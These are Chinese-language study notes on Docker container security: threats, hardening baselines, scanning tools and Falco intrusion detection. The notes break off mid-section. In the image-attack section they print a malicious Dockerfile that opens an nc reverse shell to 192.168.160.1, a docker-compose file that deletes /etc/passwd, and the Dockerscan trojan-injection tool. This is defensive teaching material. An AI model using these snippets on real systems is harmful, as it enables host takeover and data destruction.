Docker 安全问题与防护 (学习笔记)
文章目錄
- 1. Docker面臨的安全問題
- 1.1 Docker簡介
- 1.2 Docker安全問題
- 2. Docker安全方案
- 2.1 Docker安全基線
- 2.2 Docker安全規則
- 2.3 Docker鏡像安全掃描與審計
- 2.4 Docker入侵檢測
- 2.5 Docker容器安全隔離與資源控制
- 2.5.1 namespace
- 2.5.2 cgroup
- 2.6 Docker容器系統調用和文件訪問的權限控制
- 2.7 安全管理docker容器敏感信息
- 3. 競品廠商
- 3.1 [neuvector](https://neuvector.com/)
- 3.1.1 Use Cases:
- 3.1.2 Kubernetes-native Container Security
- 3.2 docker安全廠商
- 5. 內核相關技術
- 5.1 cgroup
- 5.2 namespace
- 5.3 鏡像(Image) & 容器(Container)
- 6. 背景知識
- 6.1 sdn & openflow
- 6.2 openstack
- 6.3 Kubernetes
- 6.4 DevOps
- 6.5 Kubernetes和OpenStack到底是什么關系?
- 6.6 Micro-segmentation
- 參考資料
1. Docker面臨的安全問題
1.1 Docker簡介
容器部署的新的方式是基于操作系統級別的虛擬化,而非硬件虛擬化。容器彼此是隔離的,與宿主機也是隔離的:它們有自己的文件系統,彼此之間不能看到對方的進程,分配到的計算資源都是有限制的。它們比虛擬機更容易搭建。并且由于和基礎架構、宿主機文件系統是解耦的,它們可以在不同類型的云上或操作系統上轉移。
正因為容器又小又快,每一個容器鏡像都可以打包裝載一個程序。這種一對一的“程序 - 鏡像”聯系帶給了容器諸多便捷。
| Docker與虛擬機的區別 | 1、隔離與共享:虛擬機通過添加hypervisor層,虛擬出網卡,內存,CPU等虛擬硬件,再在其上建立客戶機,每個客戶機都有自己的系統內核。而docker容器則是通過隔離的方式,將文件系統,進程,設備,網絡等資源進行隔離,再對權限,CPU資源等進行控制,最終讓容器之間互不影響,容器無法影響宿主機。容器與宿主機共享內核,文件系統,硬件等資源。 2、性能與損耗:與虛擬機相比,容器資源損耗要小得多。 同樣的宿主機下,能夠建立容器的數量要比虛擬機多得多。 3、安全性:但是虛擬機的安全性要比容器好一些,要從虛擬機突破到宿主機或其他虛擬機,需要先突破hypervisor層,這是極其困難的。 而docker容器與宿主機共享內核,文件系統等資源,更有可能對其他容器,宿主機產生影響。 |
| Docker的優勢 | 1、有了容器,靜態容器鏡像可以在編譯/發布時期創建,而非部署時期。因此,每個應用不必再等待和整個應用棧其它部分進行整合,也不必和產品基礎架構環境之間進行妥協。在編譯/發布時期生成容器鏡像建立了一個持續地把開發轉化為產品的環境。 2、相似地,容器遠比虛擬機更加透明,尤其在設備監控和管理上。這一點,在容器的進程生命周期被基礎架構管理而非被容器內的進程監督器隱藏掉時,尤為顯著。最終,隨著每個容器內都裝載了單一的程序,管理容器就等于管理或部署整個應用。 |
| Docker的局限性 | 1、LXC是基于cgroup等linux kernel功能的,因此Container的guest系統只能是linux base的。 2、隔離性相比KVM之類的虛擬化方案還是有些欠缺,所有container`公用`一部分的運行庫。 3、網絡管理相對簡單,主要是基于namespace隔離。 4、cgroup的cpu和cpuset提供的cpu功能相比KVM的等虛擬化方案相比難以度量(所以dotcloud主要是安內存收費)。 5、container隨著用戶進程的停止而銷毀,container中的log等用戶數據不便收集。 6、另外,Docker是面向應用的,其終極目標是構建PAAS平臺,而現有虛擬機主要目的是提供一個靈活的計算資源池,是面向架構的,其終極目標是構建一個IAAS平臺,所以它不能替代傳統虛擬化解決方案。 目前在容器可管理性方面,對于方便運維,提供UI來管理監控各個containers的功能還不足,還都是第三方實現。因為容器技術本身更適于解決大規模應用場景,所以通常都是集群基礎上的部署、運維,但是目前對這一系列任務的自動化處理尚無統一的或者標準的框架。如果要讓Docker真正在實際環境中發揮最大的效能并且易于維護,就需要有成熟穩定的資源編排(orchestration)、資源調度(scheduling)和部署(deployment)的支持,但是這方面暫時還沒有很明顯的最佳解決方案,所以大多數人都在摸索和搭建自己的解決方案。 |
1.2 Docker安全問題
| Docker 本身 | Docker 本身是提供了新的攻擊點,以前可能攻擊虛擬機,Docker 出現之后增加了一個攻擊對象。 |
| 共享內核 | 因為 Docker 是與宿主機共享內核,通過攻破內核就可以進入到宿主機上的其他容器里,所以也提供了新的攻擊機會。 |
| Docker漏洞 | Docker 自身是一個軟件,只要是軟件就可能會有漏洞,所以 Docker 的漏洞也是一個新的挑戰。 |
| 調度系統 | 然后容器需要調度系統,如果只是使用單一的 Docker ,可能享受的是它的環境封裝,遷移的方便性,但是在大規模使用容器之后,就要關心它的調度怎么做,那么調度系統也是一個新攻擊的點。而且這種新部署方式也會對傳統的安全工作帶來一些新影響 |
| Namespace,cgroup | Namespace,cgroup 不安全,且并非所有資源都已隔離。這兩種隔離都沒有進行一個非常完整的隔離,目前它并不是像虛擬機一樣完全隔離的模式。 |
| 共享宿主機文件系統 | 同一宿主機上的容器可以通過掛載共享宿主機文件系統,如果在一臺主機上,通過掛同一個目錄到不同的容器里面,那么不同的容器就可以訪問同一個目錄,所以這個時候也是會有一些安全性的問題。只要進入其中一個容器,就可以通過這個共同掛載的目錄進入到其他容器里面去。 |
| 網絡隔離 | 網絡的隔離是比較弱的,因為宿主機上所有的容器是使用同一張網卡,那么比如發生 DDOS 情況,對某個容器的攻擊就會導致宿主機上所有容器都會受到安全的影響。 |
Docker安全問題樹如下:
- Docker自身漏洞
Docker作為一款應用本身實現上會有代碼缺陷。CVE官方記錄docker歷史版本共有超過20項漏洞,參見https://docs.docker.com/engine/security/non-events/。主要有代碼執行,權限提升,信息泄露,繞過這幾類。現在Docker已經到了17.03版本,版本更迭非常快,docker用戶最好將docker升級為最新版本。
- Docker源問題
Docker提供了docker hub可以讓用戶上傳創建的鏡像,以便其他用戶下載,快速搭建環境。但同時也帶來了一些安全問題。下載的鏡像被惡意植入后門,傳輸的過程中鏡像被篡改, 鏡像所搭建的環境是否本身就包含漏洞等等,不一而足。主要介紹下面三種:
| 黑客上傳惡意鏡像 | 如果有黑客在制作的鏡像中植入木馬,后門等惡意軟件,那么環境從一開始就已經不安全了,后續更沒有什么安全可言。 |
| 鏡像使用有漏洞的軟件 | 據一些報告顯示,hub上能下載的鏡像里面,75%的鏡像都安裝了有漏洞的軟件,所以下載鏡像后,需要檢查里面軟件的版本信息,對應的版本是否存在漏洞,并及時更新打上補丁。 |
| 中間人攻擊篡改鏡像 | 鏡像在傳輸過程中可能被篡改,目前新版本的docker已經提供了相應的校驗機制來預防這個問題。 |
- Docker架構缺陷與安全機制
由docker本身的架構與機制可能產生的問題,這一攻擊場景主要產生在黑客已經控制了宿主機上的一些容器(或者通過在公有云上建立容器的方式獲得這個條件),然后對宿主機或其他容器發起攻擊來產生影響。
| 容器之間的局域網攻擊 | 同一主機上的容器之間可以構成局域網,因此針對局域網的ARP欺騙,嗅探,廣播風暴等攻擊方式便可以用上。所以在一個主機上部署多個容器需要合理的配置網絡,設置iptable規則。 |
| DDoS攻擊耗盡資源 | cgroups安全機制就是要防止此類攻擊的,不要為單一的容器分配過多的資源即可避免此類問題。 |
| 調用有漏洞的系統調用 | 我們都知道Docker與虛擬機的一個區別就是,Docker與宿主公用一個操作系統內核,一旦宿主內核存在可以橫向越權或者提權漏洞,那么盡管docker使用普通用戶執行,一旦容器被入侵,攻擊者還是可以利用內核漏洞逃逸到宿主,做更多事情。 |
| 共享root | 如果以root權限運行容器,容器內的root用戶也就擁有了宿主機的root權限。 |
| 未隔離的文件系統 | 雖然docker已經對文件系統進行隔離,但是有一些重要的系統文件暫時沒有被隔離,如/sys, /proc/sys, /proc/bus等。 |
| 缺少完整的用戶namespace實現 | 目前還沒有完整的用戶namespace實現。某些東西是不受Docker控制的。缺少用戶namespace的風險之一是,用戶從主機到容器的映射仍是一對一映射。以前,容器中的用戶0在主機上等于0。換句話說,如果你的容器被攻破,它不需要太多成本就能損害整臺宿主。 |
| 默認放通所有 | 不管是網絡訪問,還是remote api的訪問,都是默認放通所有的,這也為網絡流量攻擊和之前大規模發生Docker remote api漏洞埋下了隱患。 |
2. Docker安全方案
- 常規docker安全手段
| Namespace | Docker 的隔離是基于 Linux 的 Namespace 來做的分為六種。 重點UserNamespace。過去容器里的 root 就是 Host 的 root,如果能夠攻擊到容器里,就可以獲取到 Host 的 root 權限。而 User Namespace 可以讓容器里使用的 root,到 Host 上就不是 root 了。 |
| cgroup | 因為容器與主機是共享資源,需要對每一個容器使用的資源進行控制,如果不對容器使用的資源進行控制,當容器遇到惡意攻擊時,它就會把整個主機資源占用完,然后就會影響主機上其他容器的運行,所以需要對容器使用主機上的資源進行限制。比如說 CPU,內存這些資源,容器在出現異常時就不能夠使用主機上的資源,它只能使用這些已分配的資源,這樣可以有效隔離它對主機上其他容器的影響。 |
| Capability | Linux 將傳統超級用戶的特權劃分為多個 Capabilities,有接近40項的 Capabilities,可以單獨啟用或者關閉,因此同為 root 用戶,權限卻因 Capabilities 的不同而存在差異。Docker 為了確保容器的安全,僅僅支持了其中的 14項基本的 Capabilities。針對容器可以去設置這些能力是否開啟。 |
| 內核強制性的訪問控制(MAC) | Docker 容器共享宿主機的內核,在內核的安全上存在不少問題,需要針對內核的破壞做防御。現在支持的方式有三種: SELinux (Secure Enhanced Linux):是一個Linux安全策略機制,允許管理員更加靈活的定義安全策略。通過策略規定哪些域可以訪問哪些上下文、哪些進程可以訪問哪些文件。 AppArmor 類似于SELinux,主要的作用是設置某個可執行程序的訪問控制權限,可以限制程序 讀/寫某個目錄/文件,打開/讀/寫網絡端口等等。 GRSecurity 是一個對內核的安全擴展,通過智能訪問控制來阻止內存破壞,預防0day漏洞。 這三種方式可以限制容器在使用 Host 主機內核或者資源時,去對一些文件或者一些能力進行一個控制,不讓它去進行訪問。容器目前報出來的一些安全漏洞很多是通過加強對內核的訪問控制來進行一個隔離的。 |
| Seccomp | (secure computing mode),就是安全計算模式,這個模式可以設置容器在對系統進行調用時進行一些篩選,也就是所謂的白名單。它可以去指定允許容器使用哪些的調用,禁止容器使用哪些調用,這樣就可以增強隔離,它其實也是訪問控制的一個部分。 通過使用“–security-optseccomp=< profile>”標記來指定自定義的 seccomp 描述文件: $ docker run -d –security-opt seccomp:allow:clock_adjtimentpd 這條命令將會允許容器內使用 clock_adjtime 調用 $docker run -d –security-opt seccomp:deny:getcwd/bin/sh 這條命令將會禁止容器內執行的 shell 查詢當前自己所在的目錄 |
| Docker client 端與 Docker Daemon 的通信安全 | Docker client 端與 Docker Daemon 的通信安全。默認的通信方式使用的 anon-networked Unix ,這種方式并不是安全的,可以通過配置 HTTPS,讓 Docker Client 與 DockerDaemon 訪問時,是通過 HTTPS 的方式,這樣可以加強通信過程中的一個安全性。 $ dockerd –tlsverify –tlscacert=ca.pem–tlscert=server-cert.pem –tlskey=server-key.pem -H=0.0.0.0:2376$ docker –tlsverify –tlscacert=ca.pem–tlscert=cert.pem –tlskey=key.pem -H=$HOST:2376 version |
| 鏡像掃描的功能 | 鏡像掃描的功能,Docker Security Scanning。在下載鏡像或者構建鏡像的過程中,可能最初的 Baseimage 是官方提供的,但是在使用的過程中,可能基于這個鏡像做了很多新的鏡像,這個鏡像投入到生產之前到底是否安全。Docker 現在提供了一個功能,就是可以對鏡像進行安全的掃描,它可以分析這個鏡像本身是不是安全的,就是所謂的可信內容,就是我們的內容首先是可信的。 針對鏡像的安全還有一個就是鏡像簽名(Docker Content Trust),用于防止鏡像在傳輸的過程中被篡改。給每個鏡像在傳輸的過程中都進行簽名的配置,確保這個鏡像傳輸的過程中它是安全的。 |
2.1 Docker安全基線
這部分結合了Docker官方文檔與七牛云布道師陳愛珍的《如何打造安全的容器云平臺》整理,從內核、主機、網絡、鏡像、容器以及其他等6大方面總結了Docker安全基線標準。
| 內核級別 | · 及時更新內核 · User NameSpace(容器內的root權限在容器之外處于非高權限狀態) · Cgroups(對資源的配額和度量) · SELiux/AppArmor/GRSEC(控制文件訪問權限) · Capability(權限劃分) · Seccomp(限定系統調用) · 禁止將容器的命名空間與宿主機進程命名空間共享 |
| 主機級別 | · 為容器創建獨立分區 · 僅運行必要的服務 · 禁止將宿主機上敏感目錄映射到容器 · 對Docker守護進程、相關文件和目錄進行審計 · 設置適當的默認文件描述符數 · 用戶權限為root的Docker相關文件的訪問權限應該為644或者更低權限 · 周期性檢查每個主機的容器清單,并清理不必要的容器 |
| 網絡級別 | · 通過iptables設定規則實現禁止或允許容器之間網絡流量 · 允許Dokcer修改iptables · 禁止將Docker綁定到其他IP/Port或者Unix Socket · 禁止在容器上映射特權端口 · 容器上只開放所需要的端口 · 禁止在容器上使用主機網絡模式 · 若宿主機有多個網卡,將容器進入流量綁定到特定的主機網卡上 |
| 鏡像級別 | · 創建本地鏡像倉庫服務器 · 鏡像中軟件都為最新版本 · 使用可信鏡像文件,并通過安全通道下載 · 重新構建鏡像而非對容器和鏡像打補丁 · 合理管理鏡像標簽,及時移除不再使用的鏡像 · 使用鏡像掃描 · 使用鏡像簽名 |
| 容器級別 | · 容器最小化,操作系統鏡像最小集 · 容器以單一主進程的方式運行 · 禁止privileged標記使用特權容器 · 禁止在容器上運行ssh服務 · 以只讀的方式掛載容器的根目錄系統 · 明確定義屬于容器的數據盤符 · 通過設置on-failure限制容器嘗試重啟的次數 · 限制在容器中可用的進程樹,以防止fork bomb |
| 其他設置 | · 定期對宿主機系統及容器進行安全審計 · 使用最少資源和最低權限運行容器 · 避免在同一宿主機上部署大量容器,維持在一個能夠管理的數量 · 監控Docker容器的使用,性能以及其他各項指標 · 增加實時威脅檢測和事件響應功能 · 使用中心和遠程日志收集服務 |
2.2 Docker安全規則
Docker安全規則其實屬于Docker安全基線的具體實現,不過對于Docker官方提出的方案本文會直接給出實現方式,而對于第三方或者業界使用的方案,則只是介紹基本規則,具體實現方案會在本系列下部分介紹。
| 容器最小化 | 僅在容器中運行必要的服務,像ssh等服務是絕對不能開啟的。使用以下方式來管理你的容器: docker exec -it mycontainer bash |
| Docker remote api訪問控制 | Docker的遠程調用API接口存在未授權訪問漏洞,至少應限制外網訪問。如果可以,建議還是使用socket方式訪問。 建議監聽內網ip或者localhost,docker daemon啟動方式: docker -d -H uninx:///var/run/docker.sock -H tcp://10.10.10.10:2375 #或者在docker默認配置文件指定 other_args=" -H unix:///var/run/docker.sock -H tcp://10.10.10.10:2375" 然后在宿主iptables上做訪問控制 *filter:HOST_ALLOW1 - [0:0]-A HOST_ALLOW1 -s 10.10.10.1/32 -j ACCEPT-A HOST_ALLOW1 -j DROP-A INPUT -p tcp -m tcp -d 10.10.10.10 --port 2375 -j HOST_ALLOW1 |
| 限制流量流向 | 可以使用以下iptables過濾器[7]限制Docker容器的源IP地址范圍與外界通訊。 iptables -A FORWARD -s -j REJECT --reject-with icmp-admin-prohibitedIptables -A FORWARD -i docker0 -o eth0 -j DROP-A FORWARD -i docker0 -o eth0 -m state –state ESTABLISHED -j ACCEPT 我們處理過大量因為Docker容器端口外放引起的漏洞,除了操作系統賬戶權限控制上的問題,更在于對Docker Daemon的進程管理上存在隱患。我們都知道,目前常用的Docker版本都支持Docker Daemon管理宿主iptables的,而且一旦啟動進程加上-p host_port:guest_port的端口映射,Docker Daemon會直接增加對應的FORWARD Chain并且-j ACCEPT,而默認的DROP規則是在INPUT鏈做的,對docker沒法限制,這就留下了很嚴重的安全隱患了。因此建議: 1. 不在有外網ip的機器上使用Docker服務 2. 使用k8s等docker編排系統管理Docker容器 3. 宿主上Docker daemon啟動命令加一個--iptables=false,然后把常用iptables寫進文件里,再用iptables-restore去刷。 |
| 使用普通用戶啟動Docker服務 | 截至Docker 1.10用戶命名空間由docker守護程序直接支持。此功能允許容器中的root用戶映射到容器外部的非uid-0用戶,這可以幫助減輕容器中斷的風險。此功能可用,但默認情況下不啟用。 1.使用用戶映射 要解決特定容器中的用戶0在宿主系統上等于root的問題,LXC允許您重新映射用戶和組ID。配置文件條目如下所示: lxc.id_map = u 0 100000 65536lxc.id_map = g 0 100000 65536 這將容器中的前65536個用戶和組ID映射到主機上的100000-165536。主機上的相關文件是/etc/subuid和/etc/subgid。此映射技術命名為從屬ID,因此稱為“子”前綴。 對于Docker,這意味著將其作為-lxc-conf參數添加到docker run: docker run -lxc-conf ="lxc.id_map = u 0 100000 65536" -lxc-conf ="lxc.id_map = g 0 100000 65536" 2.啟動容器時不帶--privileged參數 docker run -it debian8:standard /bin/bash |
| 文件系統限制 | 掛載的容器根目錄絕對只讀,而且不同容器對應的文件目錄權限分離,最好是每個容器在宿主上有自己單獨分區。 su con1docker run -v dev:/home/mc_server/con1 -it debian8:standard /bin/bashsu con2docker run -v dev:/home/mc_server/con2 -it debian8:standard /bin/bash |
| 鏡像安全 | 如下圖所示,在鏡像倉庫客戶端使用證書認證,對下載的鏡像進行檢查 ,通過與CVE數據庫同步掃描鏡像,一旦發現漏洞則通知用戶處理,或者直接阻止鏡像繼續構建。 如果使用的是公司自己的鏡像源,可以跳過此步;否則至少需要驗證baseimage的md5等特征值,確認一致后再基于baseimage進一步構建。 一般情況下,我們要確保只從受信任的庫中獲取鏡像,并且不要使用--insecure-registry=[]參數。具體實現我們在漏洞掃描部分一塊介紹。 |
| Docker client端與 Docker Daemon的通信安全 | 按照Docker官方的說法,為了放置鏈路劫持、會話劫持等問題導致docker通信時被中間人攻擊,c/s兩端應該通過加密方式通訊。 docker –tlsverify –tlscacert=ca.pem –tlscert=server-cert.pem –tlskey=server-key.pem -H=0.0.0.0:2376 |
| 資源限制 | 限制容器資源使用,最好支持動態擴容,這樣既可以盡可能降低安全風險,也不影響業務。下面是使用樣例,限制cpu使用第2核、分配2048 docker run -tid –name ec2 –cpuset-cpus 3 –cpu-shares 2048 -memory 2048m –rm –blkio-weight 100 --pids--limit 512 更多限制可以參考Docker官方說明: --cpu-period Limit CPU CFS (Completely Fair Scheduler) period--cpu-quota Limit CPU CFS (Completely Fair Scheduler) quota--device-read-bps=[] Limit read rate (bytes per second) from a device--device-read-iops=[] Limit read rate (IO per second) from a device--device-write-bps=[] Limit write rate (bytes per second) to a device--device-write-iops=[] Limit write rate (IO per second) to a device--kernel-memory Kernel memory limit--label-file=[] Read in a line delimited file of labels-m, --memory Memory limit--memory-reservation Memory soft limit--memory-swap Swap limit equal to memory plus swap: '-1' to enable unlimited swap--pids-limit Tune container pids limit (set -1 for unlimited)--ulimit=[] Ulimit options |
| 宿主及時升級內核漏洞 | 使用Docker容器對外提供服務時,還要考慮宿主故障或者需要升級內核的問題。這時為了不影響在線業務,Docker容器應該支持熱遷移,這個可以納入容器調度系統的功能設計中。此外,還應考慮后續的內核升級方案規劃、執行以及回遷方案等。 |
| 避免docker容器中信息泄露 | 就像之前github上大量泄露個人或企業各種賬號密碼的問題,我們一般使用dockerfile或者docker-compose文件創建容器,如果這些文件中存在賬號密碼等認證信息,一旦docker容器對外開放,則這些宿主機上的敏感信息也會隨之泄露。因此可以通過以下方式檢查容器創建模板的內容: # check created usersgrep authorized_keys $dockerfile# check OS usersgrep "etc/group" $dockerfile# Check sudo usersgrep "etc/sudoers.d" $dockerfile# Check ssh key pairgrep ".ssh/.*id_rsa" $dockerfile# Add your checks in below |
| 安裝安全加固 | 如果可能,使用安全的Linux內核、內核補丁。如SELinux,AppArmor,GRSEC等,都是Docker官方推薦安裝的安全加固組件。 如果先前已經安裝并配置過SELinux,那么可以在容器使用setenforce 1來啟用它。Docker守護進程的SELinux功能默認是禁用的,需要使用--selinux-enabled來啟用。容器的標簽限制可使用新增的—-security-opt加載SELinux或者AppArmor的策略進行配置,該功能在Docker版本1.3[9]引入。例如: docker run --security-opt=secdriver:name:value -i -t centos bash SELinux的相關選項: --security-opt ="label:user:USER"(設置標簽用戶)--security-opt ="label:role:ROLE"(設置標簽角色)--security-opt ="label:type:TYPE"(設置標簽類型)--security-opt ="label:level:LEVEL"(設置標簽級別)--security-opt ="label:disable"(完全禁用標簽限制) AppArmor的選項: --secutity-opt ="apparmor:PROFILE"(設置AppArmor配置文件) GRSEC的選項: gradm -F -L /etc/grsec/learning.logs GRSEC的更多說明請參考:https://en.wikibooks.org/wiki/Grsecurity |
| 限制系統命令調用 | 1.系統調用層面: Linux系統調用列表見:http://www.ibm.com/developerworks/cn/linux/kernel/syscall/part1/appendix.html Seccomp(secure computing mode),就是安全計算模式,這個模式可以設置容器在對系統進行調用時進行一些篩選,也就是所謂的白名單。它可以去指定允許容器使用哪些的調用,禁止容器使用哪些調用,這樣就可以增強隔離,它其實也是訪問控制的一個部分。 2.函數調用層面 通過使用“–security-optseccomp=”標記來指定自定義的 seccomp 描述文件: $ docker run -d –security-opt seccomp:allow:clock_adjtime ntpd 這條命令將會允許容器內使用 clock_adjtime 調用 $docker run -d –security-opt seccomp:deny:getcwd /bin/sh 這條命令將會禁止容器內執行的 shell 查詢當前自己所在的目錄 --security-opt=[]Security Options"label=user:USER" : Set the label user for the container"label=role:ROLE" : Set the label role for the container"label=type:TYPE" : Set the label type for the container"label=level:LEVEL" : Set the label level for the container"label=disable" : Turn off label confinement for the container"no-new-privileges" : Disable container processes from gaining additional privileges"seccomp=unconfined" : Turn off seccomp confinement for the container"seccomp=profile.json : White listed syscalls seccomp Json file to be used as a seccomp filter"apparmor=unconfined" : Turn off apparmor confinement for the container"apparmor=your-profile" : Set the apparmor confinement profile for the container 在沒有缺省secconf配置文件的情況下運行,可以通過unconfined運行配置不在默認seccomp配置文件的容器。 $ docker run --rm -it --security-opt seccomp =ulimit-debian:jessie \ unshare --map-root-user --user sh -c whoami |
| suid和guid限制 | SUID和GUID程序在受攻擊導致任意代碼執行(如緩沖區溢出)時將非常危險,因為它們將運行在進程文件所有者或組的上下文中。如果可能的話,使用特定的命令行參數減少賦予容器的能力,阻止SUID和SGID生效。 docker run -it --rm --cap-drop SETUID --cap-drop SETGID 還有種做法,可以考慮在掛載文件系統時使用nosuid屬性來移除掉SUID能力。最后一種做法是,刪除系統中不需要的SUID和GUID程序。這類程序可在Linux系統中運行以下命令而找到: find / -perm -4000 -exec ls -l {} \; 2>/dev/null find / -perm -2000 -exec ls -l {} \; 2>/dev/null 然后,可以使用類似于下面的命令將移除SUID和GUID文件權限: sudo chmod u-s filename sudo chmod -R g-s directory |
| 能力限制 | 盡可能降低Linux能力。 Docker默認的能力包括:chown、dac_override、fowner、kill、setgid、setuid、setpcap、net_bind_service、net_raw、sys_chroot、mknod、setfcap、和audit_write。在命令行啟動容器時,可以通過--cap-add=[]或--cap-drop=[]進行控制。例如: docker run --cap-drop setuid --cap-drop setgid -ti /bin/sh 此功能在Docker 1.2版本引入。 |
| 多租戶環境 | 由于Docker容器內核的共享性質,無法在多租戶環境中安全地實現責任分離。建議將容器運行在沒有其它目的,且不用于敏感操作的宿主上。可以考慮將所有服務遷移到Docker控制的容器城。可能的話,設置守護進程使用--icc=false,并根據需要在docker run時指定-link,或通過—-export=port暴露容器的一個端口,而不需要在宿主上發布。將相互信任的容器的組映射到不同機器上。 |
| 完全虛擬化 | 使用一個完全虛擬化解決方案來容納Docker,如KVM。如果容器內的內核漏洞被發現,這將防止其從容器擴大到宿主上。類似Docker-in-Docker工具,Docker鏡像可以嵌套來提供該KVM虛擬層。 |
| 日志分析 | 收集并歸檔與Docker相關的安全日志來達到審核和監控的目的,一般建議使用rsyslog或stdout+ELK的方式進行日志收集、存儲與分析,因為Docker本身要求輕量,所以不建議像虛擬機或者物理機上安裝安全agent,這時實時威脅檢測和事件響應功能就要依賴實時日志傳輸和分析了。可以在宿主上使用以下命令在容器外部訪問日志文件: docker run -v /dev/log:/dev/log /bin/sh 使用Docker內置命令: docker logs ... (-f to follow log output) 日志文件也可以導出成一個壓縮包實現持久存儲: docker export |
| 漏洞掃描 | 前面的鏡像安全,跟這里的漏洞掃描關聯很密切,可以使用相同的工具去實現安全掃描,不過漏洞掃描更傾向于外部檢測,鏡像安全則需要鏡像倉庫和CI系統聯動,始終不是一回事,所以分來介紹。 下面介紹5款用于Docker漏洞掃描的工具,它們各有千秋,從鏡像到容器,從宿主到容器,從dockerfile到docker-compose,從安全基線檢查與漏洞發現,從容器安全到性能優化,均有覆蓋。 docker-slim: 參考:https://github.com/docker-slim/docker-slim 創建小容器需要大量的巫術魔法,它可以是相當痛苦的。你不應該丟掉你的工具和你的工作流程。使用Docker應該很容易。docker-slim是一個容器的魔法減肥藥。它將使用靜態和動態分析為你的應用程序創建一個緊湊的容器。 Docker Bench for Security: 參考:https://github.com/docker/docker-bench-security Docker Bench for Security是一個腳本,用于檢查在生產環境中部署Docker容器的幾十個常見的最佳實踐,測試都是自動化的,受CIS Docker 1.13基準的啟發而來。 Clair: 參考:https://github.com/coreos/clair Clair是一個用于靜態分析應用程序容器(目前包括appc和docker)中的漏洞的開源項目。基于k8s,將鏡像上傳到clair所在機器掃描即可。從已知的一組源連續導入漏洞數據,并與容器映像的索引內容相關聯,以便產生威脅容器的漏洞的列表。當漏洞數據在上游發生變化時,可以傳遞通知,并且API會查詢以提供漏洞的先前狀態和新狀態以及受這兩者影響的圖像。 Container-compliance: 參考:https://github.com/OpenSCAP/container-compliance Container-compliance是基于OpenSCAP的用于評估鏡像、容器合規性的資源和工具。 Lynis: 參考:https://cisofy.com/lynis/plugins/docker-containers/ lynis本身是一套Linux/Unix系統安全審計的shell腳本,執行時系統消耗很低。Lynis-docker是Lynis的一個插件,這個插件收集關于Docker配置和容器的信息。 |
| 端口掃描 | 很多人認為,容器被入侵帶來的風險,遠比不上物理機和傳統虛擬機,于是他們直接把docker容器對外網開放,而且不配置任何訪問控制。另外,也會存在宿主iptables錯誤調導致容器直接對外開放的問題存在,于是,這時針對容器進行快速批量的端口快速掃描顯得很有必要。目前Nmap/Masscan這兩款工具用的比較多。 Nmap支持tcp/udp端口掃描以及自定義插件掃描任意漏洞,是最著名、應用最廣的端口掃描器。masscan的掃描結果類似于nmap,在內部,它更像scanrand, unicornscan, and ZMap,采用了異步傳輸的方式。它和這些掃描器最主要的區別是,它比這些掃描器更快。參考:https://github.com/robertdavidg |
上面介紹了很多配置、工具,如果要應用到生產環境,還是需要大量調研的,所以本文的下半部分會結合將它們聯動起來,深入到應用部署、功能使用以及如何與企業或組織的Docker容器編排系統、倉庫集成等具體實現,形成一套企業級Docker安全解決方案,敬請期待。
參考資料:
Docker官方Docker安全文檔
關于Docker的幾點安全解析
陳愛珍 如何打造安全的容器云平臺
docker安全部署指南
2.3 Docker鏡像安全掃描與審計
介紹Docker鏡像的漏洞掃描與審計。
Docker鏡像攻擊的具體實現方式:
| Docker鏡像攻擊 | 針對Docker容器的攻擊,有利用Docker Daemon api的,也有攻擊Kubernetes、Mesos等容器管理平臺的,這方面的攻擊利用門檻較低、獲取成果又非常豐富,反彈shell、getroot均不在話下。不過,今天討論的是針對Docker鏡像的攻擊,常見的攻擊方式主要有dockerfiles攻擊、docker compose攻擊兩種,而后面講到的docker鏡像自動化攻擊則主要利用Dockerscan這款工具。 |
| dockerfiles攻擊 | 道理很簡單,在dockerfiles中寫入惡意命令,如反彈shell或者添加惡意用戶等,或者引入存在漏洞的應用,如使用存在遠程命令執行漏洞的Strusts2。下面是一個現成的dockerfiles。 FROM alpine:latestRUN apk add --update --no-cache netcat-openbsd dockerRUN mkdir /filesCOPY * /files/RUN mknod /tmp/back pRUN /bin/sh 0< /tmp/back | nc 192.168.160.1 12345 1>/tmp/back 一旦客戶端build完鏡像,啟動容器,則會向控制端反彈shell nc -lv 192.168.160.1 12345sh# idroot |
| docker compose攻擊 | 類似的,編寫好存在惡意命令或者漏洞組件的docker compose文件,一旦客戶端build完鏡像,啟動容器,則會執行攻擊命令或暴露漏洞組件。 test:image: ubuntu:14.04volumes:- /etc:/testcommand: rm /test/passwd |
| docker鏡像自動化攻擊 | docker鏡像自動化滲透工具Dockerscan可掃描網段或者目標識別是否為docker registry,也支持對docker registry操作鏡像,更支持修改鏡像,將木馬植入正常鏡像中,當用戶運行該鏡像時,攻擊者就會接收到反彈出的shell,從而達到控制服務器的目的。 pip3 install dockerscandockerscan -hUsage: dockerscan [OPTIONS] COMMAND [ARGS]...Options:-v Verbose output-d enable debug-q, --quiet Minimal output--version Show the version and exit.-h, --help Show this message and exit.Commands:image Docker images commandsregistry Docker registry actionsscan Search for Open Docker Registries |
- Docker鏡像安全掃描
通過本地docker images命令或者操作docker registry就能惡意修改鏡像,植入攻擊木馬。但這僅僅只是產生Docker鏡像安全掃描需求的原因之一。另一種情況,全球最大的dockerhub上面有官方的,也有用戶上傳的任意鏡像,但是目前dockerhub上面只有office repo的才會自動調用docker security scan,其他的即便是惡意image也不會有報警或者攔截的,個人鏡像則需要付費掃描。因此,當我們使用外部dockerhub的鏡像時同樣需要進行安全掃描。如果沒有鏡像安全工具,非office的repo docker pull時一定要仔細閱讀dockerfile或者下載dockerfile本地build。下面是Docker官方鏡像安全掃描的流程圖。
目前的鏡像掃描工具有:Clair、Anchore、OpenSCAP、Harbor。
2.4 Docker入侵檢測
介紹如何使用Sysdig Falco監控Docker容器安全。
入侵檢測和漏洞掃描可謂是主動發現安全問題的“內功外功”,在容器技術應用越來越廣泛的今天,也需要被給予同樣的重視。本文將探討Docker入侵檢測工具Sysdig Falco的基礎知識以及如何檢測容器的異常行為等問題。 Sysdig Falco是一種旨在檢測異常活動開源的系統行為監控程序。作為Linux主機入侵檢測系統,對待Docker依舊特別有用,因為它支持容器上下文,如container.id,container.image或其規則的命名空間。
- 原理
雖說Sysdig Falco是一種審計工具,但卻與Seccomp或AppArmor等內核態的審計工具全然不同。 Sysdig Falco在用戶空間中運行,使用內核模塊攔截系統調用,而其他類似工具在內核級別運行系統調用過濾或監控。用戶空間實現的一個好處是能夠與Docker編排工具等外部系統集成。
- 特點
Sysdig Falco具備以下特點:
